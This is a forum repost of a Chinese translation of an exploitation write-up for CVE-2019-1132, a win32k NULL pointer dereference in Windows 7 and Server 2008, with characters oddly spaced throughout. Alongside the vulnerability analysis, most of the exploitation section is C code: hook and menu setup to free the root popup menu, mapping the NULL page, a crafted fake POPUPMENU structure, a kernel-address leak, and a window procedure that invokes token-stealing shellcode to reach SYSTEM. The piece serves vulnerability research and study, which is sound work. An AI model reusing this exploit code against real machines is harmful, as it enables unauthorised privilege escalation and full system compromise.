搜索

[28609] 2020-09-27_利用CVE–2019-1132：Windows内核中的另一个NULL指针取消引用

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-19
2020-09-27_利用CVE–2019-1132：Windows内核中的另一个NULL指针取消引用 利 用 C V E – 2 0 1 9 - 1 1 3 2 ： W i n d o w s 内 核 中 的 另 一 个 N U L L 指 针 取 消 引 用 S H I V A M   T R I V E D I   O t s 安 全   2 0 2 0 - 0 9 - 2 7 N U L L 指 针 取 消 引 用 应 该 早 在 几 年 前 就 已 终 止 ， 但 仍 在 恶 意 软 件 攻 击 中 被 发 现 和 使 用 。 这 篇 文 章 探 讨 了 C V E - 2 0 1 9 - 1 1 3 2 的 内 部 细 节 ， B u h t r a p 小 组 将 其 用 于 针 对 东 欧 的 受 害 者 。 介 绍 我 们 在 本 文 中 讨 论 的 漏 洞 N U L L 指 针 取 消 引 用 位 于 w i n 3 2 k . s y s 驱 动 程 序 中 ， 该 驱 动 程 序 导 致 W i n d o w s   7 和 W i n d o w s   S e r v e r   2 0 0 8 操 作 系 统 上 的 特 权 （ E o P ） 成 功 升 级 。 M i c r o s o f t 在 7 月 补 丁 中 解 决 了 此 漏 洞 ， E S E T 之 前 在 其 博 客 中 讨 论 了 此 漏 洞 ， 因 为 该 漏 洞 已 在 东 欧 的 定 向 攻 击 中 使 用 。 本 文 重 点 分 析 漏 洞 并 在 安 装 了 J u n e 补 丁 的 W i n d o w s   7   x 8 6 环 境 中 创 建 可 利 用 的 漏 洞 。 漏 洞 概 述 该 漏 洞 位 于 w i n 3 2 k ！ x x x M N O p e n H i e r a r c h y 函 数 中 ， 该 函 数 不 检 查 t a g P O P U P M E N U - >   p p o p u p m e n u R o o t 指 向 的 指 针 是 否 为 N U L L 。 由 于 可 以 通 过 各 种 操 作 访 问 此 字 段 ， 因 此 ， 如 果 攻 击 者 能 够 将 此 字 段 设 置 为 N U L L ， 则 可 能 导 致 N U L L 指 针 取 消 引 用 。 要 利 用 此 漏 洞 ， 攻 击 者 需 要 以 特 定 方 式 映 射 N U L L 页 （ 在 N U L L 页 上 制 作 伪 造 对 象 ） ， 然 后 导 致 成 功 的 E o P 。 要 将 p p o p u p m e n u R o o t 设 置 为 N U L L ， 我 们 释 放 此 字 段 指 向 的 根 p o p u p m e n u 对 象 。 之 后 ， 我 们 通 过 r o o t   p o p u p m e n u 打 开 一 个 子 菜 单 （ 先 前 创 建 ） ， 该 子 菜 单 在 内 核 模 式 下 调 用 w i n 3 2 k ！ x x x M N O p e n H i e r a r c h y ， 从 而 创 建 了 第 二 个 子 菜 单 。 在 创 建 第 二 个 弹 出 菜 单 时 ， 根 菜 单 的 子 菜 单 的 p p o p u p m e n u R o o t 字 段 将 包 含 N U L L 。 当 w i n 3 2 k ！ H M A s s i g n m e n t L o c k 函 数 尝 试 访 问 该 字 段 时 ， 将 执 行 N U L L 指 针 解 除 引 用 操 作 ， 从 而 导 致 B S o D 。 触 发 漏 洞 为 了 触 发 该 漏 洞 ， 我 们 使 用 了 E S E T 博 客 中 介 绍 的 方 法 。 可 以 总 结 为 ： 我 们 首 先 创 建 一 个 窗 口 和 3 个 菜 单 对 象 ， 然 后 附 加 菜 单 项 。 现 在 ， 我 们 在 W H _ C A L L W N D P R O C 和 E V E N T _ S Y S T E M _ M E N U P O P U P S T A R T 上 安 装 挂 钩 。 使 用 T r a c k P o p u p M e n u E x 函 数 显 示 根 弹 出 菜 单 。 当 T r a c k P o p u p M e n u E x 被 调 用 时 ， 它 调 用 W I N 3 2 K ！ x x x T r a c k P o p u p M e n u E x 功 能 键 显 示 菜 单 。 之 后 ， 它 将 通 过 事 件 类 型 E V E N T _ S Y S T E M _ M E N U P O P U P S T A R T 通 知 用 户 。 / *   C r e a t i n g   t h e   m e n u   * /   f o r   ( i n t   i   =   0 ;   i   & l t ;   3 ;   i + + )   h M e n u L i s t [ i ]   =   C r e a t e M e n u ( ) ;   / *   A p p e n d i n g   t h e   m e n u s   a l o n g   w i t h   t h e   i t e m   * /   f o r   ( i n t   i   =   0 ;   i   & l t ;   3 ;   i + + )   {   A p p e n d M e n u A ( h M e n u L i s t [ i ] ,   M F _ P O P U P   |   M F _ M O U S E S E L E C T ,   ( U I N T _ P T R ) h M e n u L i s t [ i   +   1 ] ,   " i t e m " ) ;   }   A p p e n d M e n u A ( h M e n u L i s t [ 2 ] ,   M F _ P O P U P   |   M F _ M O U S E S E L E C T ,   ( U I N T _ P T R ) 0 ,   " i t e m " ) ;   / *   C r e a t i n g   a   m a i n   w i n d o w   c l a s s   * /   x x R e g i s t e r W i n d o w C l a s s W ( L " W N D C L A S S M A I N " ,   0 x 0 0 0 ,   D e f W i n d o w P r o c ) ;   h W i n d o w M a i n   =   x x C r e a t e W i n d o w E x W ( L " W N D C L A S S M A I N " ,   W S _ E X _ L A Y E R E D   |   W S _ E X _ T O O L W I N D O W   |   W S _ E X _ T O P M O S T ,   W S _ V I S I B L E ,   G e t M o d u l e H a n d l e A ( N U L L ) ) ;   p r i n t f ( " H a n d l e   o f   t h e   m a i n W i n d o w   :   0 x % 0 8 X n " ,   ( u n s i g n e d   i n t ) h W i n d o w M a i n ) ;   S h o w W i n d o w ( h W i n d o w M a i n ,   S W _ S H O W N O A C T I V A T E ) ; / *   H o o k i n g   t h e   W H _ C A L L W N D P R O C   f u n c t i o n   * /   S e t W i n d o w s H o o k E x W ( W H _ C A L L W N D P R O C ,   x x W i n d o w H o o k P r o c ,   G e t M o d u l e H a n d l e A ( N U L L ) ,   G e t C u r r e n t T h r e a d I d ( ) ) ;   / *   H o o k i n g   t h e   t r a c k p o p u p m e n u E x   W I N A P I   c a l l   * /   H W I N E V E N T H O O K   h E v e n t H o o k   =   S e t W i n E v e n t H o o k ( E V E N T _ S Y S T E M _ M E N U P O P U P S T A R T ,   E V E N T _ S Y S T E M _ M E N U P O P U P S T A R T ,   G e t M o d u l e H a n d l e A ( N U L L ) ,   x x W i n d o w E v e n t P r o c ,   G e t C u r r e n t P r o c e s s I d ( ) ,   G e t C u r r e n t T h r e a d I d ( ) ,   0 ) ; / *   S e t t i n g   t h e   r o o t   p o p u p   m e n u   t o   n u l l   * / p r i n t f ( " S e t t i n g   t h e   r o o t   p o p u p   m e n u   t o   n u l l n " ) ; r e l e a s e   =   0 ;
这 会 触 发 事 件 挂 钩 函 数 x x W i n d o w E v e n t P r o c ， 每 次 进 入 该 函 数 时 ， 我 们 都 会 在 其 中 存 储 菜 单 对 象 的 窗 口 句 柄 。 通 过 发 送 M N _ O P E N H I E R A R C H Y 消 息 ， 它 最 终 调 用 了 函 数 w i n 3 2 k ！ x x x M N O p e n H i e r a r c h y 。 调 用 函 数 w i n 3 2 k ！ x x x M N O p e n H i e r a r c h y 时 ， 它 将 调 用 w i n 3 2 k ！ x x x C r e a t e W i n d o w E x 函 数 来 创 建 另 一 个 p o p u p m e n u 对 象 。 在 调 用 w i n 3 2 k ！ x x x C r e a t e W i n d o w E x 函 数 期 间 ， 会 将   W M _ N C C R E A T E 消 息 发 送 给 用 户 ， 我 们 可 以 在 W H _ C A L L W N D P R O C 钩 子 函 数 x x W i n d o w H o o k P r o c 中 捕 获 该 消 息 。 在 x x W i n d o w H o o k P r o c 函 数 内 部 ， 我 们 通 过 检 查 根 菜 单 对 象 的 窗 口 句 柄 来 检 查 是 否 创 建 了 r o o t p o p u p 菜 单 对 象 ， 并 验 证 下 一 个 弹 出 菜 单 对 象 的 窗 口 句 柄 是 否 为 N U L L 。 我 们 还 将 验 证 消 息 是 否 为 W M _ N C C R E A T E 。 完 成 上 述 所 有 步 骤 后 ， 我 们 将 W M _ C A N C E L M E N U S 发 送 到 根 p o p u p m e n u 对 象 。 最 终 调 用 w i n 3 2 k ！ x x x M N C a n c e l 并 设 置 根 p o p u p m e n u   的 f D e s t r o y e d 位 。 然 后 ， 它 调 用 w i n 3 2 k ！ x x x M N C l o s e H i e r a r c h y 关 闭 根 p o p u p m e n u 对 象 堆 栈 中 的 子 菜 单 。 由 于 尚 未 创 建 子 菜 单 ， 因 此 函 数   w i n 3 2 k ！ x x x M N C l o s e H i e r a r c h y 会 跳 过 子 菜 单 对 象 并 且 未 设 置 f D e s t r o y e d 位 ， 从 而 在 子 菜 单 仍 然 存 在 时 销 毁 根 p o p u p m e n u 对 象 。 但 是 现 在 将 t a g P O P U P M E N U - >   p p o p u p m e n u R o o t 设 置 为 N U L L ， 因 为 该 子 菜 单 的 根 弹 出 菜 单 已 被 破 坏 ， 如 屏 幕 截 图 所 示 。 T r a c k P o p u p M e n u E x ( h M e n u L i s t [ 0 ] ,   0 ,   0 ,   0 ,   h W i n d o w M a i n ,   N U L L ) ; s t a t i c V O I D C A L L B A C K x x W i n d o w E v e n t P r o c (     H W I N E V E N T H O O K   h W i n E v e n t H o o k ,     D W O R D                   e v e n t ,     H W N D                     h w n d ,     L O N G                     i d O b j e c t ,     L O N G                     i d C h i l d ,     D W O R D                   i d E v e n t T h r e a d ,     D W O R D                   d w m s E v e n t T i m e ) {     U N R E F E R E N C E D _ P A R A M E T E R ( h W i n E v e n t H o o k ) ;     U N R E F E R E N C E D _ P A R A M E T E R ( e v e n t ) ;     U N R E F E R E N C E D _ P A R A M E T E R ( i d O b j e c t ) ;     U N R E F E R E N C E D _ P A R A M E T E R ( i d C h i l d ) ;     U N R E F E R E N C E D _ P A R A M E T E R ( i d E v e n t T h r e a d ) ;     U N R E F E R E N C E D _ P A R A M E T E R ( d w m s E v e n t T i m e ) ;       b E n t e r E v e n t   =   T R U E ;     i f   ( i C o u n t   & l t ;   A R R A Y S I Z E ( h w n d M e n u L i s t ) )     {         h w n d M e n u L i s t [ i C o u n t ]   =   h w n d ;         i C o u n t + + ;     }     S e n d M e s s a g e W ( h w n d ,   M N _ S E L E C T I T E M ,   0 ,   0 ) ;     S e n d M e s s a g e W ( h w n d ,   M N _ S E L E C T F I R S T V A L I D I T E M ,   0 ,   0 ) ;     P o s t M e s s a g e W ( h w n d ,   M N _ O P E N H I E R A R C H Y ,   0 ,   0 ) ; } s t a t i c L R E S U L T C A L L B A C K x x W i n d o w H o o k P r o c ( I N T   c o d e ,   W P A R A M   w P a r a m ,   L P A R A M   l P a r a m ) {     t a g C W P S T R U C T   * c w p   =   ( t a g C W P S T R U C T   * ) l P a r a m ;       i f   ( c w p - & g t ; m e s s a g e   = =   W M _ N C C R E A T E   & a m p ; & a m p ;   b E n t e r E v e n t   & a m p ; & a m p ;   h w n d M e n u L i s t [ r e l e a s e ]   & a m p ; & a m p ;   ! h w n d M e n u L i s t [ r e l e a s e + 1 ] )     {         p r i n t f ( " S e n d i n g   t h e   M N _ C A N C E L M E N U S   m e s s a g e n " ) ;         S e n d M e s s a g e ( h w n d M e n u L i s t [ r e l e a s e ] ,   M N _ C A N C E L M E N U S ,   0 ,   0 ) ;         b E n t e r E v e n t   =   F A L S E ;     }     r e t u r n   C a l l N e x t H o o k E x ( 0 ,   c o d e ,   w P a r a m ,   l P a r a m ) ; }
p p o p u p m e n u 设 置 为 N U L L 利 用 漏 洞 此 时 ， p p o p u p m e n u R o o t 指 向 N U L L 。 为 了 从 N U L L 页 触 发 内 存 访 问 ， 我 们 将 M N _ B U T T O N D O W N 消 息 发 送 到 子 菜 单 对 象 。 我 们 最 初 尝 试 使 用 E S E T 建 议 的 方 法 来 触 发 漏 洞 ， 但 未 能 通 过 发 送 M N _ B U T T O N D O W N 消 息 来 调 用 w i n 3 2 k ！ x x x M N O p e n H i e r a r c h y 函 数 。 还 有 另 一 种 方 法 ， 可 以 通 过 T r a c k P o p u p M e n u E x 以 子 菜 单 为 根 来 调 用 w i n 3 2 k ！ x x x M N O p e n H i e r a r c h y 函 数 。 因 此 ， 我 们 使 用 T r a c k P o p u p M e n u E x 调 用 w i n 3 2 k ！ x x x M N O p e n H i e r a r c h y 函 数 ， 该 函 数 最 终 访 问 N U L L 页 。 访 问 N U L L 页 在 这 里 ， 我 们 看 到 正 在 访 问 位 置 0 x 0 0 0 0 0 0 1 c ， 该 位 置 指 向 已 释 放 的 根 弹 出 菜 单 对 象 的 t a g W N D 对 象 。 然 后 将 该 地 址 发 送 到 w i n 3 2 k ！ H M A s s i g n m e n t L o c k 函 数 。 但 是 在 E S E T 博 客 中 ， 他 们 提 到 在 功 能 w i n 3 2 k ！ H M D e s t r o y e d U n l o c k e d O b j e c t 中 设 置 了 b S e r v e r S i d e W i n d o w P r o c 位 。 但 是 ， 再 次 尝 试 了 很 长 时 间 之 后 ， 我 们 未 能 设 置 攻 击 窗 口 的 位 。 因 此 ， 我 们 使 用 了 C l o c k O b j 指 令 的 减 量 来 设 置 b S e r v e r S i d e W i n d o w P r o c 位 。 让 我 们 一 步 一 步 地 了 解 漏 洞 利 用 ： 首 先 ， 我 们 创 建 另 一 个 充 当 攻 击 窗 口 的 窗 口 。 / *   C r e a t i n g   t h e   h u n t   w i n d o w   c l a s s   * /     x x R e g i s t e r W i n d o w C l a s s W ( L " W N D C L A S S H U N T " ,   0 x 0 0 0 ,   x x M a i n W i n d o w P r o c ) ;     h W i n d o w H u n t   =   x x C r e a t e W i n d o w E x W ( L " W N D C L A S S H U N T " ,         W S _ E X _ L E F T ,         W S _ O V E R L A P P E D W I N D O W ,         G e t M o d u l e H a n d l e A ( N U L L ) ) ;
然 后 我 们 使 用 N t A l l o c a t e V i r t u a l M e m o r y 在 N U L L 页 分 配 内 存 。 现 在 ， 我 们 使 用 H M V a l i d a t e H a n d l e 函 数 技 术 泄 漏 攻 击 窗 口 的 t a g W N D 对 象 的 地 址 。 现 在 ， 我 们 在 N U L L 页 上 制 作 伪 造 的 p o p u p m e n u 对 象 ， 以 成 功 满 足 设 置 攻 击 窗 口 的 b S e r v e r S i d e W i n d o w P r o c 位 所 需 的 条 件 。 p o p u p m e n u 对 象 的 s p w n d A c t i v e P o p u p 。 现 在 ， 我 们 将 假 弹 出 菜 单 对 象 的 s p w n d A c t i v e P o p u p 字 段 设 置 为 指 向 t a g W N D   +   0 x 1 2 的 地 址 。 这 是 因 为 减 少 c l o c k O b j 的 指 令 会 减 少 [ e a x   +   4 ] 处 的 值 ， 并 且 我 们 的 b S e r v e r S i d e W i n d o w P r o c 位 是 t a g W N D 对 象 中 的 第   1 8   位 。 要 设 置 该 位 ， （ e a x   +   4 ） 必 须 指 向 t a g W N D 对 象 +   0 x 1 6 。 现 在 ， 我 们 访 问 映 射 到 N U L L 页 的 字 段 ， 并 验 证 是 否 设 置 了 攻 击 窗 口 的 b S e r v e r S i d e W i n d o w P r o c 位 。 设 置 b S e r v e r S i d e W i n d o w P r o c 位 此 时 ， b S e r v e r S i d e W i n d o w P r o c 位 置 1 。 现 在 ， 我 们 可 以 将 消 息 发 送 到 将 由 x x M a i n W i n d o w P r o c 处 理 的 攻 击 窗 口 。 在 这 里 ， 它 检 查 c s 寄 存 器 。 如 果 c s 寄 存 器 等 于 0 x 1 b ， 那 么 我 们 仍 处 于 用 户 模 式 ， 因 此 我 们 的 利 用 失 败 ， 否 则 我 们 将 调 用 s h e l l c o d e 。     p r i n t f ( " H a n d l e   o f   t h e   h u n t W i n d o w   :   0 x % 0 8 X n " ,   ( u n s i g n e d   i n t ) h W i n d o w H u n t ) ; / *   A l l o c a t i n g   t h e   m e m o r y   a t   N U L L   p a g e   * /     * ( F A R P R O C   * ) & a m p ; N t A l l o c a t e V i r t u a l M e m o r y   =   G e t P r o c A d d r e s s ( G e t M o d u l e H a n d l e W ( L " n t d l l " ) ,   " N t A l l o c a t e V i r t u a l M e m o r y " ) ;     i f   ( N t A l l o c a t e V i r t u a l M e m o r y   = =   N U L L )         r e t u r n   1 ;       i f   ( ! N T _ S U C C E S S ( N t A l l o c a t e V i r t u a l M e m o r y ( N t C u r r e n t P r o c e s s ( ) ,         & a m p ; M e m A d d r ,         0 ,         & a m p ; M e m S i z e ,         M E M _ C O M M I T   |   M E M _ R E S E R V E ,         P A G E _ R E A D W R I T E ) )   | |   M e m A d d r   ! =   N U L L )     {         p r i n t f ( " [ - ] M e m o r y   a l l o c   f a i l e d ! n " ) ;         r e t u r n   1 ;     }     Z e r o M e m o r y ( M e m A d d r ,   M e m S i z e ) ; / *   G e t t i n g   t h e   t a g W N D   o f   t h e   h W i n d o w H u n t   * /     P T H R D E S K H E A D   h e a d   =   ( P T H R D E S K H E A D ) x x H M V a l i d a t e H a n d l e ( h W i n d o w H u n t ) ;     p r i n t f ( " A d d r e s s   o f   t h e   w i n 3 2 k ! t a g W N D   o f   h W i n d o w H u n t   :   0 x % 0 8 X n " ,   ( u n s i g n e d   i n t ) h e a d - & g t ; d e s k h e a d . p S e l f ) ; / *   C r e a t i n g   a   f a k e   P O P U P M E N U   s t r u c t u r e   * /     D W O R D   d w P o p u p F a k e [ 0 x 1 0 0 ]   =   {   0   } ;     d w P o p u p F a k e [ 0 x 0 ]   =   ( D W O R D ) 0 x 1 ;   / / - & g t ; f l a g s     d w P o p u p F a k e [ 0 x 1 ]   =   ( D W O R D ) 0 x 1 ;   / / - & g t ; s p w n d N o t i f y     d w P o p u p F a k e [ 0 x 2 ]   =   ( D W O R D ) 0 x 1 ;   / / - & g t ; s p w n d P o p u p M e n u     d w P o p u p F a k e [ 0 x 3 ]   =   ( D W O R D ) 0 x 1 ;   / / - & g t ; s p w n d N e x t P o p u p     d w P o p u p F a k e [ 0 x 4 ]   =   ( D W O R D ) 0 x 1 ;   / / - & g t ; s p w n d P r e v P o p u p     d w P o p u p F a k e [ 0 x 5 ]   =   ( D W O R D ) 0 x 1 ;   / / - & g t ; s p m e n u     d w P o p u p F a k e [ 0 x 6 ]   =   ( D W O R D ) 0 x 1 ;   / / - & g t ; s p m e n u A l t e r n a t e     d w P o p u p F a k e [ 0 x 7 ]   =   ( U L O N G ) h e a d - & g t ; d e s k h e a d . p S e l f   +   0 x 1 2 ;     / / - & g t ; s p w n d A c t i v e P o p u p     d w P o p u p F a k e [ 0 x 8 ]   =   ( D W O R D ) 0 x 1 ;     / / - & g t ; p p o p u p m e n u R o o t     d w P o p u p F a k e [ 0 x 9 ]   =   ( D W O R D ) 0 x 1 ;   / / - & g t ; p p m D e l a y e d F r e e     d w P o p u p F a k e [ 0 x A ]   =   ( D W O R D ) 0 x 1 ;     / / - & g t ; p o s S e l e c t e d I t e m     d w P o p u p F a k e [ 0 x B ]   =   ( D W O R D ) 0 x 1 ;   / / - & g t ; p o s D r o p p e d     d w P o p u p F a k e [ 0 x C ]   =   ( D W O R D ) 0 ;   / *   C o p y i n g   i t   t o   t h e   N U L L   p a g e   * /     R t l C o p y M e m o r y ( M e m A d d r ,   d w P o p u p F a k e ,   0 x 1 0 0 0 ) ;
一 旦 执 行 完 S h e l l c o d e ， 我 们 就 会 看 到 我 们 的 最 爱 ： 获 得 N T 授 权 / 系 统 该 漏 洞 利 用 代 码 已 经 在 W i n d o w s   7   x 8 6 上 进 行 了 测 试 ， 并 安 装 了 J u n e 补 丁 ， 可 以 在 我 的 G i t H u b 存 储 库 中 （ 此 处 ） 进 行 访 问 。 推 荐 读 物 如 果 您 是 W i n d o w s   K e r n e l   E x p l o i t a t i o n 的 新 手 ， 那 么 阅 读 此 文 章 将 被 证 明 是 令 人 困 惑 的 。 我 们 还 推 荐 这 些 文 章 ， 以 便 更 好 地 理 解 本 文 ， 因 为 作 者 依 靠 从 以 下 文 章 中 获 得 的 知 识 来 创 建 此 漏 洞 。 从 C V E - 2 0 1 7 - 0 2 6 3 到 W i n d o w s 菜 单 管 理 组 件 W I N D O W S 中 的 W I N D O W S   –   W I N 3 2 K   N D A Y 退 出 C H R O M E 沙 盒 L R E S U L T W I N A P I x x M a i n W i n d o w P r o c (     _ I n _   H W N D       h w n d ,     _ I n _   U I N T       m s g ,     _ I n _   W P A R A M   w P a r a m ,     _ I n _   L P A R A M   l P a r a m ) {     i f   ( m s g   = =   0 x 1 2 3 4 )     {         W O R D   u m   =   0 ;         _ _ a s m         {             / /   G r a b   t h e   v a l u e   o f   t h e   C S   r e g i s t e r   a n d             / /   s a v e   i t   i n t o   t h e   v a r i a b l e   U M .             / / i n t   3             m o v   a x ,   c s             m o v   u m ,   a x         }         / /   I f   U M   i s   0 x 1 B ,   t h i s   f u n c t i o n   i s   e x e c u t i n g   i n   u s e r m o d e         / /   c o d e   a n d   s o m e t h i n g   w e n t   w r o n g .   T h e r e f o r e   o u t p u t   a   m e s s a g e   t h a t         / /   t h e   e x p l o i t   d i d n ' t   s u c c e e d   a n d   b a i l .         i f   ( u m   = =   0 x 1 b )         {             / /   U S E R   M O D E             p r i n t f ( " [ ! ]   E x p l o i t   d i d n ' t   s u c c e e d ,   e n t e r e d   s p r a y C a l l b a c k   w i t h   u s e r   m o d e   p r i v i l e g e s . r n " ) ;             E x i t P r o c e s s ( - 1 ) ;   / /   B a i l   a s   i f   t h i s   c o d e   i s   h i t   e i t h e r   t h e   t a r g e t   i s n ' t                                 / /   v u l n e r a b l e   o r   s o m e t h i n g   i s   w r o n g   w i t h   t h e   e x p l o i t .         }         e l s e         {             s u c c e s s   =   T R U E ;   / /   S e t   t h e   s u c c e s s   f l a g   t o   i n d i c a t e   t h e   s p r a y C a l l b a c k ( )                             / /   w i n d o w   p r o c e d u r e   i s   r u n n i n g   a s   S Y S T E M .             S h e l l c o d e ( ) ;   / /   C a l l   t h e   S h e l l c o d e ( )   f u n c t i o n   t o   p e r f o r m   t h e   t o k e n   s t e a l i n g   a n d                           / /   t o   r e m o v e   t h e   J o b   o b j e c t   o n   t h e   C h r o m e   r e n d e r e r   p r o c e s s .         }     }     r e t u r n   D e f W i n d o w P r o c W ( h w n d ,   m s g ,   w P a r a m ,   l P a r a m ) ; }
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理